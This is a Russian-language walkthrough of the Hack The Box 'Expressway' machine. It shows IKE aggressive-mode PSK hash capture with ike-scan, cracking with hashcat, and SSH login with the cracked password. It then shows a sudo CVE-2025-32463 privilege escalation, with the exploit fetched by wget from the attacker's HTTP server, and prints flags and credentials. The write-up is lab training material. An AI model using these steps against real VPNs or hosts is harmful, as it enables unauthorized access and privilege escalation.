

Исходные данные: 10.10.11.87, expressway.htb

Начинаем сканирование с помощью утилиты nmap:

```
(root@kali)-[~/Expressway]
# nmap -sS -sV -O 10.10.11.87
```

Starting Nmap 7.95 (<https://nmap.org>) at 2025-12-05 08:07 EST

Nmap scan report for 10.10.11.87

Host is up (0.087s latency).

Not shown: 999 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)

No exact OS matches for host (If you know what OS is running on it, see <https://nmap.org/submit/>).

TCP/IP fingerprint:

OS:SCAN(V=7.95%E=4%D=12/5%OT=22%CT=1%CU=37588%PV=Y%DS=2%DC=I%G=Y%TM=6932D91

OS:5%P=x86_64-pc-linux-

gnu)SEQ(SP=103%GCD=1%ISR=103%TI=Z%CI=Z%TS=B)SEQ(SP=1

OS:03%GCD=1%ISR=10A%TI=Z%CI=Z%TS=C)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%TS=B)

OS:SEQ(SP=FD%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FF%GCD=1%ISR=10B%TI=Z

OS:%CI=Z%II=I%TS=A)OPS(O1=M552ST11NW9%O2=M552ST11NW9%O3=M552NNT11NW9%O4=M55

OS:2ST11NW9%O5=M552ST11NW9%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%

OS:W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW9%CC=Y%Q=)T1(R=Y%DF=

OS:Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%

OS:F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y

OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IP L=164%UN=0%RI

OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 18.84 seconds

Открыт порт 22 – SSH, но этого мало. Поэтому я начал сканировать порты udp.

```

(root@kali)-[~/Expressway]
# nmap -sU -sV 10.10.11.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-05 08:23 EST
Nmap scan report for 10.10.11.87
Host is up (0.091s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT      STATE      SERVICE    VERSION
68/udp    open|filtered dhcpc
69/udp    open              tftp       Netkit tftpd or atftpd
500/udp    open              isakmp?
4500/udp  open|filtered nat-t-ike
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port500-UDP:V=7.95%I=7%D=12/5%Time=6932E166P=x86_64-pc-linux-gnu%r(IKE
SF:_MAIN_MODE,70,"0x11"3DUfwxb1\xdcB\xc7(\xf2\xfc\x9a\x01\x10\x02\0\0
SF:\0\0\0\0\0p\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0(\x01\x01\0\x01\0\0\0\
SF:x20\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x01
SF:\x80\x0b\0\x01\x80\x0c\0\x01\r\0\0\x0c\t\06\x89\xdf\xd6\xb7\x12\0\0\0\x
SF:14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0")%r(IPSEC_START,9C
SF:,"1'\xfc\xb08\x10\x9e\x89y\" \x9aY\xc8\xeb\t\x19\x01\x10\x02\0\0\0\0\0
SF:\0\0\x9c\r\0\x004\0\0\0\x01\0\0\0(\x01\x01\0\x01\0\0\0\x20\x
SF:01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x03\x80\
SF:x0b\0\x01\x80\x0c\x0e\x10\r\0\0\x0c\t\06\x89\xdf\xd6\xb7\x12\r\0\0\x14\
SF:xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0\r\0\0\x18@H\xb7\xd5n\
SF:xbc\xe8\x85\xe7\xde\x7f\0\xd6\xc2\xd3\x80\0\0\0\0\0\x14\x90\xcb\x80\
SF:x91>\xbbbin\x08c\x81\xb5\xecB{\x1f");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1280.87 seconds

```

Сканирование проходило очень долго. Но по итогу мы имеем. 68 порт dhcpc – это мало интересно.

69 порт – сервис tftp.

Начал его обшаривать, но он оказался пуст.

А вот порты 500 isakmp и 4500 nat t, указывают на то, что данная машина это ВПН сервер. Как атаковать его, я изначально не знал. Поэтому ушел в изучение теории.

Теория: Есть два типа vpn.

Первый: site-to-site VPN подключение
и remote access vpn

Site-to-site это когда есть несколько филиалов и на границе каждого находятся криптошлюз. Это может быть coordinator или межсетевой экран.

Но суть такова: у этого шлюза есть два сетевых интерфейса. Например eth0: 192.168.10.x для LAN (внутренней сети). И внешний айпи адрес eth1: 89.16.29.1 – WAN. Криптошлюзы

филиалов знают друг друга. Потому что указывают в настройках gateway – адрес другого криптошлюза.

Тем самым происходит маршрутизация с шифрованием друг до друга. Назовем это IPsec туннель.

RA VPN это когда, например, в какой то сети развернут vpn сервер, который генерит клиентские vpn файлы.

Я, пользователь с ноутбуком. Имея этот самый клиентский vpn файл. Могу его у себя запустить. Тем самым у меня образуется новый сетевой интерфейс, предположим, что это tun0. И по этому сетевому интерфейсу я могу взаимодействовать с устройствами, которые тоже запустили этот самый клиентский файл. Но и, еще я могу взаимодействовать с устройствами из внутренней сети vpn сервера. просто трафик будет идти через интерфейс tun0, доходить сначала до vpn сервера, а потом до нужного устройства.

Ну на этом okay.

Вернемся к нашей htb машине:

Есть VPN сервер.

С ним можно установить IPsec соединение. И попасть в одну сетку с этим компьютером.

IPsec – это технология, которая обеспечивает:

шифрование, целостность, аутентификацию, защиту трафика.

Чтобы установить IPsec соединение, устройства должны:

договориться о том, как шифровать

согласовать алгоритмы

выполнить обмен DH

доказать друг другу, что знают общий секрет PSK

Этот процесс выполняет протокол IKE.

Он работает в 2 этапа или же 2 фазы.

Фаза 1: Договориться о способах защиты: создать IKE SA

Это создание защищенного канала, через который будут настраиваться параметры IPSec.

Фаза 1 бывает двух режимов:

Main Mode – безопасный, 6 сообщений(Обмен политиками, передача параметров шифрования, аутентификация и тд). Aggressive Mode быстрый, по сути тоже самое, но уязвимый, т.к включает всего 3 сообщения. Для построения соединения.

Фаза 2 – договориться о шифровании данных – создать IPsec SA

В Фазе 1, в Aggressive mode. При обмене сообщениями можно заполучить много нужных параметров уже сразу в ответе (например ID клиента, параметры SA, HASH) до проверки подлинности. Получив эти параметры. Можно выполнить оффлайн-перебор PSK, чтобы взломать VPN. Вот и вся суть.

Есть такой инструмент, как **ike-scan**.

Как я и сказал. Чтобы установить IPsec соединение. В 1 фазе. MAIN мод включает себя 6 сообщений. А Aggressive 3.

Этот скан, может отправить запрос на соединение, с заранее сгенерированными параметрами (фальшивыми) и получить ответ от vpn сервера (с реальными параметрами). И после разорвать соединение.

Я прописал три команды:

ike-scan 10.10.11.87 – скан отправляет сообщение серверу на установление IPsec соединения в MAIN мод. Получает ответ. И разрывает соединение. При этом выводит инфу, которую прислал мне VPN сервер.

```
(root@kali)-[~]
# ike-scan 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Main Mode Handshake returned HDR=(CKY-R=6bf3e33e6b2ebcce) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.109 seconds (9.15 hosts/sec). 1 returned handshake; 0 returned notify

(root@kali)-[~]
# ike-scan 10.10.11.87 -A -M
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned
HDR=(CKY-R=f5f7eae6b3a69b5b)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 1.362 seconds (0.73 hosts/sec). 1 returned handshake; 0 returned notify
```

можем видеть из вывода первой команды, что мы получили много параметров. HDR, SA (ENC=3DES, HASH=SHA1, и тд..

Но есть кое что интересное – это Auth=PSK. Это значит, что аутентификация проходит по PSK. Секретному слову.

Вторая команда: `ike-scan 10.10.11.87 -A -M` Скан пробует установить соединение в Agressive Mode.

Как мы можем видеть, что мы получили уже больше параметров. И увидели, что нам даже передан хэш. Размером 20 байт. Но видимо из за того, что опция -M мы его не увидели.

Третья команда: `ike-scan -A Ppsk.txt 10.10.11.87` здесь я уже поставил опцию -A. Для попытки установления сканом соединения с Agressive mode. И дело в томЮ что в ответе, я уже получаю гораздо больше параметров.

Вопервых ID: [ike@expressway.htb](https://www.exploit-db.com/exploits/4144/) это пользователь на самой машине. И сам хэш PSK.

Да... хэш PSK передается в сообщении. И по идее по хорошему, я должен тоже знать этот самый PSK и отправить впн серверу его в третьем сообщении для проверки целостности.

Но увы) Скан разрывает соединение после ответа сервера. И мы можно сказать перехватили хэш psk. Я с помощью опции -Ppsk.txt записал его в мой файл на моей машине, psk.txt.

Так как шифрование там слабое, что мы видели из вывода. Hash– SHA1. Его можно пробрутить с помощью инструмента hashcat.

```
(root@kali)-[~/Expressway]
# ls
nmap.txt psk.txt test.lst

(root@kali)-[~/Expressway]
# cat psk.txt
eab02037879ac6b389bbe2ba072a2b9b32b4526dcf5a0fbd16ca689ccd82dc7394e6dc29291a1fc4fe0c10e180
95d47e281e01795cbbe9c115b510aba59e7316664c6fbb20775a8a0f9b8586fd129a36cc795c23510d88e3bafb
245dcf4262b31f82395e079fe805511bd0f4bf934b56751f2327b6f4fa609265fe99e511112c:e48d5d0d237b7
415db551dcef7ab20a7c25e05c371c56f55e77cb926fb565176ba22dbe5eba7861900b3083291661bebb30c571
e40a8ea342005578878afe65d51936ad5d7fb85e0a4f04a066abe71e952c4be53f3a11d530d602426ed2660796
fa6671231636a09db58f15a61da7d8f5317f524ae2b4ea3c6db738ecdf9d78:86ce49c83331a86f:785778369
a8ed94b:0000000100000001000000980101000403000024010100008001000580020002800300018004000280
0b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c00040000
7080030000240301000080010001800200028003000180040002800b0001000c00040000708000000024040100
0080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737
761792e687462:66a9cf81ba8eba19d8111dc9aaf0dfabcd9254c8:635bdb8adf139c67ecca8d1e81a47254688
726d7081387179762235a9286577a:efcd0ac6c6d27a842ccaed10c20546e0feff5751
```

Брутим пароль с помощью инструмента hashcat и словаря rockyou:

└─# hashcat psk.txt /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, S
LEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-haswell-13th Gen Intel(R) Core(TM) i9-13900HK, 2917/5899 MB (1024 MB allo
catable), 3MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5400 | IKE-PSK SHA1 | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:

- * Zero-Byte
- * Not-Iterated
- * Single-Hash
- * Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

```
eab02037879ac6b389bbe2ba072a2b9b32b4526dcf5a0fbd16ca689ccd82dc7394e6dc29291a1fc4fe0c10e180
95d47e281e01795cbbe9c115b510aba59e7316664c6fbb20775a8a0f9b8586fd129a36cc795c23510d88e3bafb
245dcf4262b31f82395e079fe805511bd0f4bf934b56751f2327b6f4fa609265fe99e511112c:e48d5d0d237b7
415db551dcef7ab20a7c25e05c371c56f55e77cb926fb565176ba22dbe5eba7861900b3083291661bebb30c571
e40a8ea342005578878afe65d51936ad5d7fb85e0a4f04a066abe71e952c4be53f3a11d530d602426ed2660796
fa6671231636a09db58f15a61da7d8f5317f524ae2b4ea3c6db738ecdff9d78:86ce49c83331a86f:785778369
a8ed94b:0000000100000001000000980101000403000024010100008001000580020002800300018004000280
0b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c00040000
7080030000240301000080010001800200028003000180040002800b0001000c000400007080000000024040100
0080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737
761792e68:66a9cf81ba8eba19d8111dc9aaf0dfabed9254c8:635bdb8adf139c67ecca8d1e81a47254688726d
7081387179762235a9286577a:efcd0ac6c6d27a842ccaed10c20546e0feff5751:freakingrockstarontheroad
```

```
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 5400 (IKE-PSK SHA1)
Hash.Target.....: eab02037879ac6b389bbe2ba072a2b9b32b4526dcf5a0fbd16c ... ff5751
Time.Started.....: Sun Dec 7 01:26:48 2025 (9 secs)
Time.Estimated...: Sun Dec 7 01:26:57 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 891.6 kH/s (1.14ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 8045568/14344385 (56.09%)
Rejected.....: 0/8045568 (0.00%)
Restore.Point....: 8044032/14344385 (56.08%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: freckles06 → freacadadisc
Hardware.Mon.#1..: Util: 64%

Started: Sun Dec 7 01:26:41 2025
Stopped: Sun Dec 7 01:26:58 2025
```

Пароль:
freakingrockstarontheroad

Подключаемся по ssh. К пользователю ike@expressway.htb и забираем user flag:


```

(root@kali)-[~/Expressway]
# ssh ike@expressway.htb
ike@expressway.htb's password:
Last login: Wed Sep 17 10:26:26 BST 2025 from 10.10.14.77 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11)
x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Dec 7 06:39:22 2025 from 10.10.14.32
ike@expressway:~$ ls
user.txt
ike@expressway:~$ cat user.txt
3071ef00bc1ea8d793390c1f2251725b
ike@expressway:~$ █

```

Моя разведка по системе:

Права sudo пользователь ike не имеет.

На /bin/bash имеют право только ike + root

На 127.0.0.1 никаких портов не прослушивается.

Единственное, что от root запущено много разных процессов. Но ни с каким из них мы не связаны.

В /var /var/backups /var/cache /var/tmp /var/opt ничего интересного.

Не где никаких прав мы не имеем.

Передаем linpeas.sh:

Команда на моей машине:

```

3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group
default qlen 500
    link/none
    inet 10.10.14.32/23 scope global tun0
        valid_lft forever preferred_lft forever
    inet6 dead:beef:2::101e/64 scope global
        valid_lft forever preferred_lft forever
    inet6 fe80::ccb9:9f27:c654:ecf3/64 scope link stable-privacy proto kernel_ll
        valid_lft forever preferred_lft forever

(root@kali)-[~]
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.87 - - [07/Dec/2025 01:51:11] "GET /linpeas.sh HTTP/1.1" 200 -
█

```

На машине жертве:


```

ike@expressway:~$ wget 10.10.14.32:8000/linpeas.sh
Prepended http:// to '10.10.14.32:8000/linpeas.sh'
--2025-12-07 06:51:14-- http://10.10.14.32:8000/linpeas.sh
Connecting to 10.10.14.32:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 82884 (81K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[=====>] 80.94K  384KB/s  in 0.2s

2025-12-07 06:51:15 (384 KB/s) - 'linpeas.sh' saved [82884/82884]

ike@expressway:~$ ls
linpeas.sh  user.txt
ike@expressway:~$ █

```

Запустил его и ничего особо интересного он не вывел.

Только если вот:

User & Groups: uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)

Hostname: expressway.htb

Writable folder: /dev/shm

```
ike@expressway:~$ groups
```

```
ike proxy
```

```
ike@expressway:~$ groups root
```

```
root : root
```

```
ike@expressway:~$
```

Active Internet connections (servers and established)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.1:25	0.0.0.0:*	LISTEN	-
tcp	0	3044	10.10.11.87:22	10.10.14.32:38508	ESTABLISHED	-
tcp6	0	0	:::22	:::*	LISTEN	-
tcp6	0	0	:::1:25	:::*	LISTEN	-
udp	0	0	0.0.0.0:68	0.0.0.0:*	-	-
udp	0	0	0.0.0.0:69	0.0.0.0:*	-	-
udp	0	0	10.10.11.87:49484	8.8.8.8:53	ESTABLISHED	-
udp	0	0	0.0.0.0:4500	0.0.0.0:*	-	-
udp	0	0	0.0.0.0:500	0.0.0.0:*	-	-
udp	0	0	10.10.11.87:37421	1.1.1.1:53	ESTABLISHED	-
udp6	0	0	:::69	:::*	-	-
udp6	0	0	:::4500	:::*	-	-
udp6	0	0	:::500	:::*	-	-

Recv-Q	Send-Q	Local Address:Port	Peer Address:Port
0	0	10.10.11.87:49484	8.8.8.8:domain
0	0	10.10.11.87:37421	1.1.1.1:domain

Но это ни к чему меня не привело.

Поэтому раз никаких потенциальных векторов и тд.. Я не обнаружил. Я решил посмотреть версию ОС и поискать в интернете эксплойты.

```
ike@expressway:/etc$ cat os-release
PRETTY_NAME="Debian GNU/Linux forky/sid"
NAME="Debian GNU/Linux"
VERSION_CODENAME=forky
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/
```

Начал искать в инете Linux forky cve exploit:

Ну и вышел на уязвимость CVE-2025-39780.





GitHub

https://github.com > CVE-20... · Перевести эту страницу

kh4sh3i/CVE-2025-32463: Local Privilege Escalation to ...

An attacker with low privileges can exploit this vulnerability to gain root access, compromising the system entirely. Proof of Concept. Exploit.
Не найдено: forky 39780

Главная

1 Филиал

0 Теги

Код

 kh4ш3и

Обновление README.md

8cbd2b0 · 6 месяцев назад

12 коммитов

img	логотип	6 месяцев назад
ЛИЦЕНЗИЯ	Первоначальная фиксация	6 месяцев назад
README.md	Обновление README.md	6 месяцев назад
exploit.sh	файл	6 месяцев назад

README

Лицензия CC0-1.0

Проверка концепции

```
root@test: /  
lowuser@test:~$ id  
uid=1001(lowuser) gid=1001(lowuser) groups=1001(lowuser)  
lowuser@test:~$ sudo --version | head -n 1  
Sudo version 1.9.15p5  
lowuser@test:~$ ./expl.sh  
woot!  
root@test:~# id  
uid=0(root) gid=0(root) groups=0(root),1001(lowuser)  
root@test:~#
```

Эксплуатировать

```
git clone https://github.com/kh4sh3i/CVE-2025-32463.git  
cd CVE-2025-32463  
chmod +x exploit.sh  
id  
./exploit.sh  
id
```

Пострадавшие версии

- Уязвимо: sudo 1.9.14–1.9.17

Как я понял уязвимость эксплуатируется через старую версию sudo. 1.9.14 – 1.9.17

Проверил версию sudo:

```
ike@expressway:/etc$ sudo --version | head -n 1  
Sudo version 1.9.17  
ike@expressway:/etc$ cd  
ike@expressway:~$ ls  
linpeas.sh  user.txt  
ike@expressway:~$ wget 10.10.14.32:8000/exploit.sh  
Prepended http:// to '10.10.14.32:8000/exploit.sh'  
--2025-12-07 07:16:28-- http://10.10.14.32:8000/exploit.sh
```

Все подходит. Поэтому я сразу перекидывать эксплоит. И запускать.

```

ike@expressway:~$ wget 10.10.14.32:8000/exploit.sh
Prepended http:// to '10.10.14.32:8000/exploit.sh'
--2025-12-07 07:16:28-- http://10.10.14.32:8000/exploit.sh
Connecting to 10.10.14.32:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 637 [text/x-sh]
Saving to: 'exploit.sh'

exploit.sh                               100%[=====>] 637 --KB/s

2025-12-07 07:16:28 (54.0 MB/s) - 'exploit.sh' saved [637/637]

ike@expressway:~$ ls
exploit.sh  linpeas.sh  user.txt
ike@expressway:~$ chmod +x exploit.sh
ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$ ./exploit.sh
woot!
root@expressway:/# ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old
root@expressway:/# whoami
root
root@expressway:/# cd
root@expressway:~# ls
exploit.sh  linpeas.sh  user.txt
root@expressway:~# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
root@expressway:~# cd /root
root@expressway:/root# ls
root.txt
root@expressway:/root# cat root.txt
57e2dc77afbe511b7azf2eb1659b7b6a
root@expressway:/root#

```

Эксплоит сделал свою работу. Привилегии повысились. Я получил root флаг.

